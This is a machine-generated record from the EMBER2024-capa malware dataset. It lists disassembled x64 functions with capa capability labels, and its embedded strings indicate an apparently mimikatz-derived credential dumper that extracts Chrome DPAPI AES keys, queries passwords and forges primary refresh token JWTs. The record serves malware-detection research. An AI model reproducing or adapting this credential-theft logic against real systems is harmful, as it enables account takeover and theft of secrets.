joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007c8f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r12
sub rsp, 0x38
mov rsi, qword [rcx + 0x88]
mov rbx, rcx
mov rdi, qword [rcx + 0x10]
mov r12, qword [rcx]
test rsi, rsi
je 0x14007cae8
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], r13
xor r13d, r13d
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x30], r15
nop dword [rax + rax]
movsxd rbp, dword [rsi + 0x10]
movzx eax, byte [rbx + 0x1f]
mov r14d, dword [rsi + 0x14]
shl rbp, 5
add rbp, qword [r12 + 0x20]
test al, al
jne 0x14007c952
inc dword [rbx + 0x38]
mov r15d, dword [rbx + 0x38]
jmp 0x14007c962
dec al
movzx eax, al
mov byte [rbx + 0x1f], al
mov r15d, dword [rbx + rax*4 + 0xbc]
movsxd rcx, dword [rdi + 0x90]
lea r8d, [r14 + 2]
lea edx, [rcx + 7]
cmp dword [rdi + 0x94], ecx
jg 0x14007c98f
mov r9d, edx
mov dword [rsp + 0x20], r14d
mov edx, 0x37
mov rcx, rdi
call fcn.14003c8e0
jmp 0x14007c9bd
lea eax, [rcx + 1]
mov dword [rdi + 0x90], eax
lea rcx, [rcx + rcx*2]
mov rax, qword [rdi + 0x88]
mov dword [rax + rcx*8], 0x37
mov dword [rax + rcx*8 + 4], r8d
mov dword [rax + rcx*8 + 8], edx
mov dword [rax + rcx*8 + 0xc], r14d
mov qword [rax + rcx*8 + 0x10], r13
mov r9, qword [rbp + 0x18]
xor edx, edx
mov r8d, dword [rsi + 0x10]
mov rcx, rbx
mov dword [rsp + 0x20], 0x62
mov r9, qword [r9 + 0x68]
call fcn.14007c0a0
mov eax, dword [rdi + 0x90]
add eax, 5
cmp eax, dword [rdi + 0x94]
jle 0x14007c9fc
mov rcx, rdi
call fcn.14003c710
test eax, eax
jne 0x14007cad4
movsxd rax, dword [rdi + 0x90]
lea rcx, [rax + rax*2]
mov rax, qword [rdi + 0x88]
mov dword [rax + rcx*8 + 8], 2
mov byte [rax + rcx*8], 0x33
mov dword [rax + rcx*8 + 4], r13d
lea rdx, [rax + rcx*8]
mov eax, dword [rdi + 0x90]
mov dword [rdx + 0xc], r13d
lea ecx, [r14 + 1]
mov byte [rdx + 1], r13b
add eax, 2
mov dword [rdx + 8], eax
lea eax, [r14 - 1]
mov qword [rdx + 0x10], r13
mov word [rdx + 2], r13w
mov qword [rdx + 0x18], Ordinal_127
mov qword [rdx + 0x20], r13
mov qword [rdx + 0x28], r13
mov qword [rdx + 0x30], Ordinal_96
mov qword [rdx + 0x38], 2
mov qword [rdx + 0x40], r13
mov qword [rdx + 0x48], reloc.WLDAP32.dll_Ordinal_122
mov qword [rdx + 0x50], r13
mov qword [rdx + 0x58], r13
mov qword [rdx + 0x60], Ordinal_122
mov qword [rdx + 0x68], r13
mov qword [rdx + 0x70], r13
add dword [rdi + 0x90], 5
mov dword [rdx + 0x34], eax
mov eax, 8
mov word [rdx + 0x4a], ax
mov dword [rdx + 4], ecx
mov dword [rdx + 0x20], ecx
mov dword [rdx + 0x3c], r15d
mov dword [rdx + 0x50], r15d
mov dword [rdx + 0x54], ecx
test r15d, r15d
je 0x14007cac8
movzx eax, byte [rbx + 0x1f]
cmp al, 8
jae 0x14007cac8
mov dword [rbx + rax*4 + 0xbc], r15d
inc byte [rbx + 0x1f]
mov rsi, qword [rsi]
test rsi, rsi
jne 0x14007c930
mov r15, qword [rsp + 0x30]
mov r13, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov r14, qword [rsp + 0x70]
add rsp, 0x38
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400a0850
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x30
mov rax, qword [rcx + 0x20]
lea r12, [0x140149330]
movsxd rdx, edx
mov r15, r9
shl rdx, 5
mov rsi, r8
mov rbp, rcx
mov r14, qword [rdx + rax]
xor ebx, ebx
cmp dword [rbp + 0x28], ebx
jle 0x1400a0907
nop dword [rax]
mov r10d, ebx
xor r10d, 1
cmp ebx, 2
cmovge r10d, ebx
test r14, r14
je 0x1400a08d4
mov rcx, qword [rbp + 0x20]
mov rax, r14
movsxd rdx, r10d
shl rdx, 5
mov r9, qword [rdx + rcx]
sub r9, r14
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [r9 + rax]
cmp edx, ecx
jne 0x1400a0943
test edx, edx
jne 0x1400a0952
mov rax, qword [rbp + 0x20]
xor r8d, r8d
movsxd rcx, r10d
mov rdx, rsi
shl rcx, 5
mov rcx, qword [rcx + rax + 0x18]
add rcx, 8
call fcn.14001bfc0
mov rdi, qword [rax + 0x10]
test rdi, rdi
jne 0x1400a09ab
inc ebx
cmp ebx, dword [rbp + 0x28]
jl 0x1400a0890
lea r8, str.sqlite_master
sub r8, rsi
movzx ecx, byte [rsi]
movzx eax, byte [r8 + rsi]
cmp ecx, eax
jne 0x1400a095a
test ecx, ecx
jne 0x1400a0968
mov rax, qword [rbp + 0x20]
mov r9, qword [rax + 0x20]
test r14, r14
jne 0x1400a096d
neg r9
sbb edx, edx
test edx, edx
jne 0x1400a09a9
lea rsi, str.sqlite_temp_master
jmp 0x1400a0885
movzx r8d, byte [rcx + r12]
movzx edx, byte [rdx + r12]
cmp edx, r8d
jne 0x1400a0900
inc rax
jmp 0x1400a08c0
movzx edx, byte [rax + r12]
movzx ecx, byte [rcx + r12]
cmp ecx, edx
jne 0x1400a09a9
inc rsi
jmp 0x1400a0911
test r9, r9
je 0x1400a09a9
mov r8, r14
sub r9, r14
nop dword [rax + rax]
movzx edx, byte [r8]
movzx eax, byte [r9 + r8]
cmp edx, eax
jne 0x1400a0996
test edx, edx
je 0x1400a0937
inc r8
jmp 0x1400a0980
movzx ecx, byte [rax + r12]
movzx edx, byte [rdx + r12]
sub edx, ecx
jne 0x1400a0933
inc r8
jmp 0x1400a0980
xor edi, edi
mov rax, qword [rdi + 0x58]
lea rcx, [rbp + 0x1b8]
xor r8d, r8d
mov rbx, qword [rax]
mov rdx, rbx
call fcn.14001bfc0
mov r8, qword [rax + 0x10]
test r8, r8
je 0x1400a0a66
mov rax, qword [r8]
mov r9, qword [rax + 8]
test r9, r9
je 0x1400a0a66
cmp qword [rax + 0x28], 0
je 0x1400a0a66
mov rdx, rdi
mov qword [rsp + 0x20], r15
mov rcx, rbp
call fcn.1400a0020
test eax, eax
jne 0x1400a0a80
mov rcx, qword [rdi + 0x60]
test rcx, rcx
je 0x1400a0a80
nop dword [rax]
cmp qword [rcx], rbp
je 0x1400a0a20
mov rcx, qword [rcx + 0x28]
test rcx, rcx
jne 0x1400a0a10
jmp 0x1400a0a80
mov rcx, rbp
call fcn.1400a07a0
mov r8d, eax
test eax, eax
jne 0x1400a0a80
mov rdx, qword [rdi + 0x60]
test rdx, rdx
je 0x1400a0a46
cmp qword [rdx], rbp
je 0x1400a0a46
mov rdx, qword [rdx + 0x28]
test rdx, rdx
jne 0x1400a0a38
movsxd rcx, dword [rbp + 0x1b0]
mov rax, qword [rbp + 0x1d8]
mov qword [rax + rcx*8], rdx
mov eax, r8d
inc dword [rbp + 0x1b0]
inc dword [rdx + 0x18]
jmp 0x1400a0a80
mov r8, rbx
lea rdx, str.no_such_module:__s
mov rcx, rbp
call fcn.140019b60
mov qword [r15], rax
mov eax, 1
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x1400a0d90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword [rcx + 0x20]
lea r12, [0x140149330]
xor r13d, r13d
movsxd rdx, edx
shl rdx, 5
mov rsi, r8
mov rbp, rcx
mov r15d, r13d
mov r14, qword [rdx + rax]
nop
mov ebx, r13d
cmp dword [rbp + 0x28], ebx
jle 0x1400a0e57
nop dword [rax + rax]
mov r10d, ebx
xor r10d, 1
cmp ebx, 2
cmovge r10d, ebx
test r14, r14
je 0x1400a0e24
mov rcx, qword [rbp + 0x20]
mov rax, r14
movsxd rdx, r10d
shl rdx, 5
mov r9, qword [rdx + rcx]
sub r9, r14
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [r9 + rax]
cmp edx, ecx
jne 0x1400a0e97
test edx, edx
jne 0x1400a0ea6
mov rax, qword [rbp + 0x20]
xor r8d, r8d
movsxd rcx, r10d
mov rdx, rsi
shl rcx, 5
mov rcx, qword [rcx + rax + 0x18]
add rcx, 8
call fcn.14001bfc0
mov rdi, qword [rax + 0x10]
test rdi, rdi
jne 0x1400a0f0d
inc ebx
cmp ebx, dword [rbp + 0x28]
jl 0x1400a0de0
lea r8, str.sqlite_master
sub r8, rsi
movzx ecx, byte [rsi]
movzx eax, byte [r8 + rsi]
cmp ecx, eax
jne 0x1400a0eae
test ecx, ecx
jne 0x1400a0ec0
mov rax, qword [rbp + 0x20]
mov r9, qword [rax + 0x20]
test r14, r14
jne 0x1400a0ec5
neg r9
sbb edx, edx
test edx, edx
jne 0x1400a0fb8
lea rsi, str.sqlite_temp_master
jmp 0x1400a0dd0
movzx r8d, byte [rcx + r12]
movzx edx, byte [rdx + r12]
cmp edx, r8d
jne 0x1400a0e50
inc rax
jmp 0x1400a0e10
movzx edx, byte [rax + r12]
movzx ecx, byte [rcx + r12]
cmp ecx, edx
jne 0x1400a0fb8
inc rsi
jmp 0x1400a0e61
test r9, r9
je 0x1400a0fb8
mov r8, r14
sub r9, r14
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [r8]
movzx eax, byte [r9 + r8]
cmp edx, eax
jne 0x1400a0ef6
test edx, edx
je 0x1400a0e8b
inc r8
jmp 0x1400a0ee0
movzx ecx, byte [rax + r12]
movzx edx, byte [rdx + r12]
sub edx, ecx
jne 0x1400a0e83
inc r8
jmp 0x1400a0ee0
mov rcx, qword [rdi + 0x60]
test rcx, rcx
je 0x1400a0fb8
mov rdx, rcx
nop dword [rax]
mov rax, qword [rdx + 0x10]
cmp dword [rax + 8], r13d
jg 0x1400a0fd8
mov rdx, qword [rdx + 0x28]
test rdx, rdx
jne 0x1400a0f20
mov qword [rdi + 0x60], r13
mov rbx, r13
nop
mov rdx, qword [rcx]
mov r8, qword [rcx + 0x28]
cmp rdx, rbp
jne 0x1400a0f59
mov qword [rdi + 0x60], rcx
mov rbx, rcx
mov qword [rcx + 0x28], r13
jmp 0x1400a0f6b
mov rax, qword [rdx + 0x1e0]
mov qword [rcx + 0x28], rax
mov qword [rdx + 0x1e0], rcx
mov rcx, r8
test r8, r8
jne 0x1400a0f40
mov rax, qword [rbx + 8]
mov rdx, qword [rax]
mov rax, qword [rdx + 0x28]
inc dword [rdi + 0x3c]
mov rcx, qword [rbx + 0x10]
call rax
mov r15d, eax
test eax, eax
jne 0x1400a0f9e
mov qword [rbx + 0x10], r13
mov rcx, rbx
mov qword [rdi + 0x60], r13
call fcn.14009f8b0
cmp qword [rbp + 0x298], r13
jne 0x1400a0fad
add dword [rdi + 0x3c], 0xffffffff
jne 0x1400a0fb8
mov rdx, rdi
mov rcx, rbp
call fcn.140066a20
mov eax, r15d
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov eax, 6
jmp 0x1400a0fbb
Function at 0x1400c0fb0
Capabilities:
Set console window title
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x550
mov edi, ecx
mov rbx, rdx
mov ecx, 1
mov esi, 0xc0000001
call fcn.14011ef40
mov rcx, rax
call fcn.14011f5b0
mov ecx, eax
mov edx, 0x40000
call fcn.14011f3cc
mov ecx, 2
mov dword [0x1401b3888], eax
call fcn.14011ef40
mov rcx, rax
call fcn.14011f5b0
mov ecx, eax
mov edx, 0x40000
call fcn.14011f3cc
mov dword [0x1401b3880], eax
call qword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov ecx, 0xfde9
mov dword [0x1401b3884], eax
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rcx, str.bypass_2.2.0_x64__oe.eo_
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov edx, 1
lea rcx, [0x1400c12b0]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov ecx, 1
call fcn.1400c1380
mov rdx, rbx
mov ecx, edi
call fcn.1400c0d30
test eax, eax
je 0x1400c115e
lea rcx, str.pri::debug
call fcn.1400c15d0
lea rcx, str.sek::getpasswd
call fcn.1400c15d0
mov esi, eax
test eax, eax
jne 0x1400c115e
xor edx, edx
lea rcx, [rsp + 0x150]
mov r8d, 0x400
call fcn.14011adb0
lea r9, [0x1401b3020]
mov edx, 0x200
lea r8, str..pipe_s
lea rcx, [rsp + 0x150]
call fcn.140005150
mov qword [rsp + 0x30], 0
lea r8d, [rsi + 1]
mov dword [rsp + 0x28], Ordinal_133
lea rcx, [rsp + 0x150]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400c115e
xor edx, edx
lea rcx, [rsp + 0x41]
mov r8d, 0x100
call fcn.14011adb0
mov ecx, dword [0x1401b2cc8]
lea rdx, [0x1401b3420]
mov byte [rsp + 0x40], cl
mov r8d, ecx
lea ebx, [rcx + 1]
lea rcx, [rsp + 0x41]
mov dword [rsp + 0x570], ebx
call fcn.14011b4a0
lea r9, [rsp + 0x570]
mov qword [rsp + 0x20], 0
mov r8d, ebx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400c1180
lea r11, [rsp + 0x550]
mov eax, esi
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400d1280
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x60
xor edi, edi
mov r15, r9
mov qword [rax - 0x48], rdi
mov rbp, r8
mov qword [rax - 0x50], rdi
mov r14d, edx
mov dword [rax - 0x28], edi
lea rax, [rax - 0x28]
lea r8d, [rdi + 1]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x1400d1315
mov edx, dword [rsp + 0x50]
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400d1315
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rdi
lea r8d, [rdi + 1]
mov r9, rbx
mov qword [rsp + 0x20], rax
xor edx, edx
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
jne 0x1400d1345
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_alg_key_from_b64___kull_m_string_quick_base64_to_Binary__0x_08x__n
call fcn.14000afb0
lea r11, [rsp + 0x60]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
cmp dword [rsp + 0x50], 5
jb 0x1400d1445
mov eax, dword [rbx]
cmp eax, dword [str.DPAPI]
jne 0x1400d1445
movzx eax, byte [rbx + 4]
cmp al, byte [reloc.WLDAP32.dll_Ordinal_73]
jne 0x1400d1445
lea rcx, str.__Encrypted_Key_seems_to_be_protected_by_DPAPI_n
call fcn.14000afb0
mov edx, dword [rsp + 0x50]
lea rax, [rsp + 0x54]
mov qword [rsp + 0x48], rdi
lea rcx, [rbx + 5]
mov qword [rsp + 0x40], rax
add edx, 0xfffffffb
lea rax, [rsp + 0x58]
mov r9d, r14d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rbp
call fcn.1400cd150
test eax, eax
je 0x1400d1451
mov edx, dword [rsp + 0x54]
mov rsi, qword [rsp + 0x58]
cmp edx, 0x20
jne 0x1400d141c
lea rcx, str.__AES_Key_is:
call fcn.14000afb0
xor r8d, r8d
mov rcx, rsi
call fcn.1400124b0
lea rcx, reloc.Cabinet.dll_FCICreate
call fcn.14000afb0
mov r8, qword [rsp + 0xa0]
mov rdx, r15
mov rcx, rsi
call fcn.1400d1160
mov rcx, rsi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400d1329
mov r8d, Ordinal_36
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_alg_key_from_b64___Key_size:__u__needs__u__n
call fcn.14000afb0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400d1329
lea rcx, str.ERROR_kuhl_m_dpapi_chrome_alg_key_from_b64___Bad_header_n
call fcn.14000afb0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400d1329
Function at 0x1400d2230
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 8], rcx
push rbx
push rsi
sub rsp, 0x48
mov rsi, rdx
lea rax, [rsp + 0x70]
xor ebx, ebx
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov dword [rsp + 0x70], ebx
mov r8d, 0x40000001
mov rcx, rsi
lea edx, [rbx + 0x18]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x1400d23dd
mov edx, dword [rsp + 0x70]
lea ecx, [rbx + 0x40]
mov qword [rsp + 0x38], rdi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1400d23ce
lea rax, [rsp + 0x70]
mov r9, rdi
lea edx, [rbx + 0x18]
mov qword [rsp + 0x20], rax
mov r8d, 0x40000001
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rcx, rdi
test eax, eax
je 0x1400d23c8
call fcn.1400d2180
mov rsi, rax
test rax, rax
je 0x1400d23c5
mov r9, rax
lea r8, str.HS256
lea rdx, str._alg_:__s____ctx_:__s_
lea rcx, [rsp + 0x78]
call fcn.140012fa0
test eax, eax
je 0x1400d23bc
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x30], r14
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r14, qword [rsp + 0x78]
xor r9d, r9d
mov ebp, eax
mov dword [rsp + 0x60], ebx
lea rax, [rsp + 0x60]
mov edx, ebp
mov r8d, 0x40000001
mov qword [rsp + 0x20], rax
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x1400d23a7
mov edx, dword [rsp + 0x60]
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400d23a7
lea rax, [rsp + 0x60]
mov r9, rbx
mov r8d, 0x40000001
mov qword [rsp + 0x20], rax
mov edx, ebp
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rcx, rbx
test eax, eax
jne 0x1400d2373
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rax
jmp 0x1400d23a7
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1400d23a7
mov rcx, rbx
mov edx, eax
movzx eax, byte [rcx]
cmp al, 0x2b
jne 0x1400d238e
mov byte [rcx], 0x2d
jmp 0x1400d239e
cmp al, 0x2f
jne 0x1400d2397
mov byte [rcx], Ordinal_96
jmp 0x1400d239e
cmp al, 0x3d
jne 0x1400d239e
mov byte [rcx], 0
inc rcx
sub rdx, 1
jne 0x1400d2382
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r14, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, qword [rsp + 0x38]
mov rax, rbx
add rsp, 0x48
pop rsi
pop rbx
ret
mov rax, rbx
add rsp, 0x48
pop rsi
pop rbx
ret
Function at 0x1400d23f0
Capabilities:
Encode data using base64 via winapi

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
xor ebx, ebx
mov rsi, rcx
test rdx, rdx
je 0x1400d2406
mov edi, dword [rdx]
jmp 0x1400d242e
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [rsp + 0x78]
mov eax, 0x6b5fca6b
add ecx, 0x2ac18000
imul ecx
mov edi, edx
sar edi, 0x16
mov eax, edi
shr eax, 0x1f
add edi, eax
lea r8, [rsp + 0x80]
mov rcx, rsi
lea rdx, [rsp + 0x30]
call fcn.140012cd0
test eax, eax
je 0x1400d25ae
mov edx, dword [rsp + 0x80]
mov ecx, 0x40
inc edx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x1400d25a3
mov r8d, dword [rsp + 0x80]
mov rcx, rax
mov rdx, qword [rsp + 0x30]
mov qword [rsp + 0x48], rbp
call fcn.14011b4a0
mov rcx, rsi
call fcn.1400d2180
mov rbp, rax
test rax, rax
je 0x1400d2595
mov r9d, edi
lea rdx, str._refresh_token_:__s____is_primary_:_true____iat_:__ld_
mov r8, rax
lea rcx, [rsp + 0x88]
call fcn.140012fa0
test eax, eax
je 0x1400d258c
mov rcx, qword [rsp + 0x88]
mov qword [rsp + 0x40], r14
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r14, qword [rsp + 0x88]
xor r9d, r9d
mov edi, eax
mov dword [rsp + 0x78], ebx
lea rax, [rsp + 0x78]
mov edx, edi
mov r8d, 0x40000001
mov qword [rsp + 0x20], rax
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x1400d2579
mov edx, dword [rsp + 0x78]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400d2579
lea rax, [rsp + 0x78]
mov r9, rbx
mov r8d, 0x40000001
mov qword [rsp + 0x20], rax
mov edx, edi
mov rcx, r14
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rcx, rbx
test eax, eax
jne 0x1400d2545
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbx, rax
jmp 0x1400d2579
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1400d2579
mov rcx, rbx
mov edx, eax
movzx eax, byte [rcx]
cmp al, 0x2b
jne 0x1400d2560
mov byte [rcx], 0x2d
jmp 0x1400d2570
cmp al, 0x2f
jne 0x1400d2569
mov byte [rcx], Ordinal_96
jmp 0x1400d2570
cmp al, 0x3d
jne 0x1400d2570
mov byte [rcx], 0
inc rcx
sub rdx, 1
jne 0x1400d2554
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r14, qword [rsp + 0x40]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rbp, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rax, rbx
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400d25c0
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x10], edx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0x90
mov rdx, rcx
mov qword [rbp - 9], 0
mov rbx, r9
mov rdi, r8
mov rsi, rcx
call fcn.1400d2230
mov r15, rax
test rax, rax
je 0x1400d27d9
mov rdx, rbx
mov qword [rsp + 0xb0], r14
mov rcx, rdi
call fcn.1400d23f0
mov r14, rax
test rax, rax
je 0x1400d27c8
mov r9, rax
lea rdx, [0x140163528]
mov r8, r15
lea rcx, [rbp - 0x11]
call fcn.140012fa0
test eax, eax
je 0x1400d27bf
mov rbx, qword [rbp + 0x77]
test rbx, rbx
je 0x1400d26c5
mov edi, dword [rbp + 0x7f]
test edi, edi
je 0x1400d26c5
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [rbp + 0x6f]
lea rcx, [rbp - 0x19]
mov qword [rsp + 0x48], rcx
mov r9d, edi
lea rcx, [rbp - 1]
mov r8, rbx
mov qword [rsp + 0x40], rcx
mov rcx, qword [rbp + 0x67]
mov dword [rsp + 0x38], eax
mov rax, qword [rbp - 0x11]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.ODBC32.dll_SQLAllocHandle
mov qword [rsp + 0x20], rsi
call fcn.140005850
test eax, eax
je 0x1400d27b5
cmp dword [rbp - 0x19], 0x20
jne 0x1400d27b5
mov rcx, qword [rbp - 1]
movups xmm0, xmmword [rcx]
movups xmmword [rbp + 7], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rbp + 0x17], xmm1
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400d26f3
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov r8, qword [rbp - 0x11]
mov r9d, eax
mov edx, dword [rbp + 0x6f]
lea rax, [rbp + 7]
mov rcx, qword [rbp + 0x67]
mov qword [rsp + 0x20], rax
call fcn.140005690
test eax, eax
je 0x1400d27b5
xor r9d, r9d
mov dword [rbp + 0x4f], 0
lea rax, [rbp + 0x4f]
mov r8d, 0x40000001
lea rcx, [rbp + 7]
mov qword [rsp + 0x20], rax
lea edx, [r9 + 0x20]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
je 0x1400d27b5
mov edx, dword [rbp + 0x4f]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x1400d27b5
lea rax, [rbp + 0x4f]
mov r9, rbx
mov edx, Ordinal_36
mov qword [rsp + 0x20], rax
mov r8d, 0x40000001
lea rcx, [rbp + 7]
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov rcx, rbx
test eax, eax
je 0x1400d27af
call qword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1400d2795
mov rcx, rbx
mov edx, eax
nop
movzx eax, byte [rcx]
cmp al, 0x2b
jne 0x1400d277c
mov byte [rcx], 0x2d
jmp 0x1400d278c
cmp al, 0x2f
jne 0x1400d2785
mov byte [rcx], Ordinal_96
jmp 0x1400d278c
cmp al, 0x3d
jne 0x1400d278c
mov byte [rcx], 0
inc rcx
sub rdx, 1
jne 0x1400d2770
mov r8, qword [rbp - 0x11]
lea rdx, [0x140163528]
mov r9, rbx
lea rcx, [rbp - 9]
call fcn.140012fa0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov r14, qword [rsp + 0xb0]
mov rax, qword [rbp - 9]
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
Function at 0x1400d2800
Capabilities:
Decode data using base64 via winapi

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0x40
mov r8, rcx
mov ebx, edx
mov rdi, rcx
lea rcx, str.Raw_JWT:__.S_n
call fcn.14000afb0
lea edx, [rbx + 1]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov r14, rax
test rax, rax
je 0x1400d29a8
mov r8d, ebx
mov rdx, rdi
mov rcx, rax
call fcn.14011b4a0
mov edx, 0x2e
mov rcx, r14
call fcn.14011aa24
mov rdi, rax
test rax, rax
je 0x1400d299f
inc rdi
mov edx, 0x2e
mov rcx, rdi
call fcn.14011aa24
test rax, rax
je 0x1400d299f
mov qword [rsp + 0x60], rbp
mov rcx, rdi
mov qword [rsp + 0x70], rsi
mov byte [rax], 0
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, eax
mov ebp, eax
and edx, 3
inc eax
add edx, eax
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
